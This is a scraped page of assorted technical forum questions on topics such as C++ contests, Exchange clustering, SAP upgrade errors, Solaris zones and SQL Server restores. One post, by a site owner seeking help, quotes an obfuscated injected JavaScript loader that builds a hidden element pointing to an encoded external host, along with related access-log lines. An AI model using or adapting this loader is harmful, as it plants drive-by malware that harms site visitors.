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  • General programming techniques to speed up coding time

    - by mcwise
    I am preparing for a programming contest in C++ where it is all about producing working code in a short time. An example would be to use a macro to get the minimum of two ints(but I was told that you shouldn't use macros as they are not type-safe) or using memsets to initialize arrays (but I was told that you shouldn't use memsets in C++). This leads to the question, what kind of coding techniques exist to use at a real job?

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  • Techniques to prevent non-official clients in network gaming?

    - by UpTheCreek
    In multi-player network games, what techniques exist to try to ensure that users are connecting with the official client application, and not some hacked client app? I realise there is probably no sure-fire way to do this, but rather I'm interested in techniques that can be employed to mitigate the problem. I'm especially interested in any techniques that can be used for web based games, but I imagine most can be applied generally. Thank you!

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  • Finding cubes in frustum

    - by salmonmoose
    Working with an infinite set of cubes, is there a way of detecting which cubes exist within a frustum? Most frustum culling seems to work along the lines of running through all objects and seeing if they intersect - this is ok with a finite set of objects, or something like Octrees. I'm currently finding all cubes within the frustum's bounding box - but that's far more than I really need. I could then test these all against it, but I was wondering if I could skip a step.

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  • World Wide Web - How Did it Come About?

    Indeed, necessity is the mother of invention. When there is a need and the means of satisfying the same does not exist, man is inevitably comes up to the challenge of creating a tool to fill his need. Such is the very same reason why the World Wide Web (WWW) exists today.

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  • Are there software options (preferabbly .NET) for doing distance and speed analysis of footballers moving on video?

    - by Anonymous Type
    Editing Question for Clarity Thanks for feedback so far, very insightful. I'm not sure how far along this part of the software community is, and what if any libraries exist for me to leverage from. Heres what I'm trying to do. Problem: Take an existing video of a game of rugby league. The Rugby League field is 100 metres long, 70 metres wide, and has white line markings every 10 metres running along the width of the field, as well as along the sidelines. Each side has 13 players on the field. Players on each team have identical jerseys that normally constrast strongly against background colours (green/brown field colour) and the referee's colour (usually yellow) and the designated water runner (orange). All players have a unique number in thick white lettering on their backs for identification. Video is taken with a high definition camera. Currently only one camera is used (2D) and existing video does not contain a foreground object of fixed spatial dimensions (as suggested in one answer for comparision measurements, however I could add this to future filming sessions if it is worthwhile). The player's do not run in a straight line 50% of the time but will go sideways on on a diagonal to the play the ball. The distance measured always starts from the spot of the previous "tackle", which ends where the player stops forward movement. It is not always possible to determine the players number from the video (facing other direction, sunlight, others standing in the way of the camera). But this isn't important as the software could allow for manual inputting of unknown "runs" at a later point after analysis. Determine the distance between two points (i.e. where the player started his "run" and where he finished it). I'm guessing that this would be quite doable if I manually marked the start and end point in the video. But how would I use landmarks in the background to determine the distance (assuming the person taking the video has kept it from jerking around). Question: Do software packages or libraries exist that are specialised enough to assist with writing analysis software to determine a sports persons distance travelled based on video taken of the performance?

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  • Why You Should Hire a Professional SEO Service

    When it comes to developing any sort of presence on the internet, you need to be sure proper search engine optimization (SEO) work is performed on and for your site. If you are not maximizing your site's SEO potential, then it might as well not exist. That is why you need to work with a reliable professional service that can deliver results.

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  • The server principal '<domain>\User' already exists. But it doesn’t

    - by simonsabin
    Interesting little situation occurred today, the person I was working with was trying to add a login to a server and was getting the following error. “The server principal '<domain>\User' already exists” They were using a command like this and couldn’t figure out why they were getting the error above because when they looked at the logins setup on the system the login definitely didn’t exist. CREATE LOGIN [<domain>\<user>] FROM WINDOWS WITH DEFAULT_DATABASE = [master] The...(read more)

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  • Are there any services that sell 'packs' of domain names?

    - by DC_
    Are there any services that sell 'packs' of domain names? What I'm looking for is a service that will allow me to buy, for example, 50 random domain names. I don't care what the names are, they could be kjsgadkj286.mobi for all I care. Does anything like this exist? I am not interested in registering them myself. I thought that maybe domain squatters or someone similar might have leftover worthless names they want to get rid of.

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  • Homestead, WordPress, Or Tumblr? Which One is Better For Creating Your Website?

    Five years ago it was okay if you and your business didn't have a website, but today if you don't have a website you don't have a business. If you're not on Google then your business or personal brand doesn't even exist. This is the shift that has happened in business and life, it doesn't matter what you do or what you sell having a presence on internet has never been more important.

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  • slow web loading speed / site calling bad links [on hold]

    - by wantedt
    my wordpress site loads very slow and i actually know why it does that, while loading it calls some files which is linked to another server/domain which does't exist anymore the problem is i cant find a place where its calling from in order to remove those links. can anyone advice me where to look and remove them? i tested it with http://www.webpagetest.org/ and website im trying to fix is: www.ancientmarinerexteriorsglobal.com

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  • Directory structure and script arguments

    - by felwithe
    I'll often see a URL that looks something like this: site.com/articles/may/05/02/2011/article-name.php Surely all of those subdirectories don't actually exist? It seems like it would be a huge redundancy, even if it was only an identical index file in every directory. To change anything you'd have to change every single one. I guess my question is, is there some more elegant way that sites usually accomplish this?

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  • ??:Oracle Payment????????????

    - by Steve He(???)
    Oracle????????Payment(IBY)?PPR committing data?Payables?missing corresponding payments????????BUG? ????????BUG?????,???????????????????? ?2???????????????? ????,??R12/12.1 Payments ??????????2???: a) Patch 11699958: R12: Error during PPR Leads to Incomplete Data Commit and Inconsistent Status (Doc ID 1338425.1)b) Patches 15867522: Confirmed PPR Batches Show Payment Initiated - Data Exist Only in IBY Tables (Doc ID 1506611.1)

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  • Malware Cross Site Scriptinig attack / XSS Attack?

    - by user124176
    I have been hit by an Cross Site Scripting / XSS / RFI Attack, where I cant find it anywhere in the source of the files and Hashes on files have not been changed according to OSSEC HIDS that I run real time monitoring on all webdirs. The Attack happens on IE9 Only it and appends java script code like beneath, notice that it starts after /html tag closes normally. : scXXpt language="javascXXpt"var enuwjo = function(gqumas, yhxxju, zbkpilf, xzzvhld){var xew = function(iso) {var crh, eaq, i; var owb=""; crh = iso.length; for (i = 0; i < crh; ++i) {eaq = iso.charCodeAt(i)-2;owb = owb + String.fromCharCode(eaq);} return(owb); } var janlq=document.createElement(xew("crrngv"));janlq.setAttribute(xew("eqfg"), xew(gqumas));janlq.setAttribute(xew("ctejkxg"), xew("jvvr<11"+yhxxju));janlq.setAttribute(xew("ykfvj"), "1");janlq.setAttribute(xew("jgkijv"), "1");var lgtwyi=document.createElement(xew("rctco"));lgtwyi.setAttribute(xew("pcog"),xew(zbkpilf));lgtwyi.setAttribute(xew("xcnwg"),xew(xzzvhld));janlq.appendChild(lgtwyi);document.body.appendChild(janlq); } ; enuwjo("vxfgwtogg0dcrcmnwe0encuu","g{g0o{yge{0kp129;5","mlit{ttmdttponfhrrexihpe","fh;ccfe:85:5d9872;2;f569276h5268ff9;34:25;7d:8:7h8c68777;;822c73"); No code has been changed on file as far as my HIDS says ... but I can see in my Error log, the following... File does not exist: /var/www/vhosts/superkids.dk/ggtest/tvdeurmee In the Access log, the following IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc.class HTTP/1.1" 404 504 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc/class.class HTTP/1.1" 404 509 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" Now... the folder or path /tvdeurmee/bapakluc/ does not exist on the server in question, nor does the Java Class class.class, yet it still looks like an local call to the server and it was getting an "404 File not found / 504 Gateway Timeout" (attack was blocked by local machine, hence the timeout / not found) Any idea on how to prevent the attack ? Im working on using HTML Purifier, but that might not be the correct idea it seems, according to some replies im getting on their forum :) Kind regards, Steven

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  • Exchange 2007 two node cluster setup on Windows 2008 Enterprise, install error

    - by Shadow00Caster
    I am installing Microsoft Exchange 2007 x64 in a two node environment using Microsoft Windows 2008 Enterprise x64. The Failover Cluster is all setup properly and following best practices for setting up the windows clustering for use with Exchange 2007. All the validation tests pass on the cluster and all of that portion is working fine. The problem is when I go to install the first Exchange node as an Active mailbox in configuration for a two node CCR. It gets all the way through the first 3 steps (Copy Exchange Files, Management Tools, Mailbox Role) and then fails on the 4th step 'Clustered Mailbox Server' with the following error: Error: The clustered mailbox server's group 'XXXX' was not found, and should already exist. Firewalls are all disabled, DNS is all setup properly, the environment has 3 domain controllers all 2k8 ent x64, all replication works. The name I pick for the CCR cluster (XXX) does not exist in AD or in DNS. I have attempted this install from both of the two Exchange nodes and multiple times .. tried with different names. I have been banging my head against the wall for days working on this and would appreciate any feedback on the issue.

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  • Error while detecting start profile for instance with ID _u

    - by Techboy
    I am upgrading a SAP Java instance and am getting the error shown in the log below. There are not backup profile files in the profiles directory. The string _u does not exist in the default, start or instance profile for instance SCS01. Please can you suggest what the issue might be? Mar 13, 2010 12:09:01 PM [Info]: com.sap.sdt.ucp.phases.AbstractPhaseType.initializexAbstractPhaseType.javax758x [Thread[main,5,main]]: Phase PREPARE/INIT/DETERMINE_PROFILES has been started. Mar 13, 2010 12:09:01 PM [Info]: com.sap.sdt.ucp.phases.AbstractPhaseType.initializexAbstractPhaseType.javax759x [Thread[main,5,main]]: Phase type is com.sap.sdt.j2ee.phases.PhaseTypeDetermineProfiles. Mar 13, 2010 12:09:01 PM [Info]: ...ap.sdt.j2ee.phases.PhaseTypeDetermineProfiles.checkVariablesxPhaseTypeDetermineProfiles.javax284x [Thread[main,5,main]]: All 4 required variables exist in variable handler. Mar 13, 2010 12:09:01 PM [Info]: ....j2ee.tools.sysinfo.AbstractInfoController.updateProfileVariablexAbstractInfoController.javax302x [Thread[main,5,main]]: Parameter /J2EE/StandardSystem/DefaultProfilePath has been detected. Parameter value is \server1\SAPMNT\PI7\SYS\profile\DEFAULT.PFL. Mar 13, 2010 12:09:01 PM [Info]: com.sap.sdt.j2ee.tools.sysinfo.ProfileDetector.detectInstancexProfileDetector.javax340x [Thread[main,5,main]]: Instance SCS01 with profile \server1\SAPMNT\PI7\SYS\profile\PI7_SCS01_server1, start profile \server1\SAPMNT\PI7\SYS\profile\START_SCS01_server1, and host server1 has been detected. Mar 13, 2010 12:09:01 PM [Error]: com.sap.sdt.ucp.phases.AbstractPhaseType.doExecutexAbstractPhaseType.javax862x [Thread[main,5,main]]: Exception has occurred during the execution of the phase. Mar 13, 2010 12:09:01 PM [Error]: com.sap.sdt.j2ee.tools.sysinfo.ProfileDetector.detectInstancexProfileDetector.javax297x [Thread[main,5,main]]: Error while detecting start profile for instance with ID _u. Mar 13, 2010 12:09:01 PM [Info]: com.sap.sdt.ucp.phases.AbstractPhaseType.cleanupxAbstractPhaseType.javax905x [Thread[main,5,main]]: Phase PREPARE/INIT/DETERMINE_PROFILES has been completed. Mar 13, 2010 12:09:01 PM [Info]: com.sap.sdt.ucp.phases.AbstractPhaseType.cleanupxAbstractPhaseType.javax906x [Thread[main,5,main]]: Start time: 2010/03/13 12:09:01. Mar 13, 2010 12:09:01 PM [Info]: com.sap.sdt.ucp.phases.AbstractPhaseType.cleanupxAbstractPhaseType.javax908x [Thread[main,5,main]]: End time: 2010/03/13 12:09:01. Mar 13, 2010 12:09:01 PM [Info]: com.sap.sdt.ucp.phases.AbstractPhaseType.cleanupxAbstractPhaseType.javax909x [Thread[main,5,main]]: Duration: 0:00:00.078. Mar 13, 2010 12:09:01 PM [Info]: com.sap.sdt.ucp.phases.AbstractPhaseType.cleanupxAbstractPhaseType.javax910x [Thread[main,5,main]]: Phase status is error.

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  • Solaris 10 zlogin logs in, logs out immediately

    - by Spelevink
    On a SPARC v445 running Solaris 10 9/10, had to rebuild rpool and reattached the three existing mirrored zpools on the other existing disks, with their zfs filesystems and NG zones intact. The zones have been configured with zonecfg -z ZONENAME create etc. ... and are now online using zoneadm -z ZONENAME attach -U then simply booting after being in installed state, but I cannot zlogin to any of the zones except one. It shows that I am logged in, then a blank line, then immediately logged out again. When I try to login using zlogin -C ZONENAME I cannot; the error message is: May 15 15:43:46 <hostname> login: open_module: stat(/usr/lib/security/pam_mkhomedir.so.1) failed: no such file or directory. May 15 15:43:46 <hostname> login: load_modules: cannot open module /usr/lib/security/pam_mkhomedir.so.1 But /usr/lib/pam_mkhomedir.so.1 does not exist, and it does not exist on my other servers, but those zones are accessible using zlogin. I can only zlogin to the zones with zlogin -S ZONENAME. What to do next? Thank you.

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  • SQL Server restore a backup results in an error.

    - by Mario
    I have a database in dev (SQL Server 2005 on Windows Server 2008) that I need to move to prod (SQL Server 2000 on Windows Server 2003). My process is as follows: Login to dev, open SQL Server Management Studio Right click on the database | Tasks | Backup. Keep all default options (full backup etc.) Move .bak file locally to prod (no network drive), login to prod, open SQL Server Enterprise Manager. Right click Databases node | All Tasks | Restore database. Change Restore as database to reflect the same database name. Click radio button 'From device'. Click 'Select Devices' Click Restore from: Add..., browse to .bak file (small - only 6mb) Now I am ready to restore the database, so I click OK and get the following error: "The media family on device 'E:...bak' is incorrectly formed. SQL Server cannot process this media family. RESTORE DATABASE is terminating abnormally." This error is immediate. I have tried a few different variations of this - restoring the db to dev machine with a different db name and log file names (where it originated), creating an empty database with the same physical path to files before and trying to restore to that, making a few different .bak files and making sure they are verified before uploading them to prod. I know for a fact the directory for the .mdf and .ldf files exist on prod, though the files themselves don't exist. If, before I click OK to restore, go to the options tab instead I get the following error: Error 3241: The media family on device 'E:...bak' is incorrectly formed. SQL Server cannot process this media family. RESTORE FILELIST is terminating abnormally. Anyone have any bright ideas?

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  • RHEL 5.3 Kickstart - How specify location of individual package in Workstation folder?

    - by Ed
    I keep getting "package does not exist" errors during the install. I made a kickstart ISO to create an unattended install of a RHEL 5.3 build machine for C++ software releases. It pulls the kickstart config file from our internal web server. This is handy; it makes it easy to test and modify without having to make a new ISO. And I plan to check it in to version control if I can get it working. Anyway, the rpm packages are located in two folders on the disk; Client and Workstation. The packages install fine for the ones that are physically located under the Client folder. It cannot find those under the Workstation folder such as as doxygen and subversion complaining that packages do not exist. Is there a way to specify the individual package location? # ----------------------------------------------------------------------------- # P A C K A G E S # ----------------------------------------------------------------------------- %packages @gnome-desktop @core @base @base-x @printing @development-tools emacs kexec-tools fipscheck xorg-x11-server-Xnest xorg-x11-server-Xvfb #Packages Located in Workstation Folder *** Install can not find any of these ?? bison doxygen gcc-c++ subversion zlib-devel freetype-devel libxml2-devel Thanks in advance, -Ed

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  • PHP 5.3.5 Windows installer missing php_ldap.dll

    - by nmjk
    I'm working with Windows Server 2008, Apache 2.2. I'm using php-5.3.5-Win32-VC6-x86.msi as the installer, using the threadsafe version. I've gone through the install process four or five times just to make sure that I'm not missing anything ridiculous, but I don't think I am. The problem is that the php_ldap.dll extension simply doesn't seem to exist. It's not present in the installer interface (where the user is asked to choose which extensions to install), and it definitely doesn't appear in the ext/ directory after install. I found a lot of mentions of this issue for 5.3.3, including links to download the extension individually. Those links no longer exist, of course, and besides: they were for 5.3.3. I'd really rather use an extension that belongs with PHP 5.3.5. Anyone else encounter this problem? Any ideas as to what's going wrong? Anyone seen acknowledgement by the PHP folks that the file is indeed missing, and that it's an oversight? It's quite a frustration because the server I'm building has no purpose if I don't have PHP LDAP support. Cheers all, and thanks in advance for your assistance.

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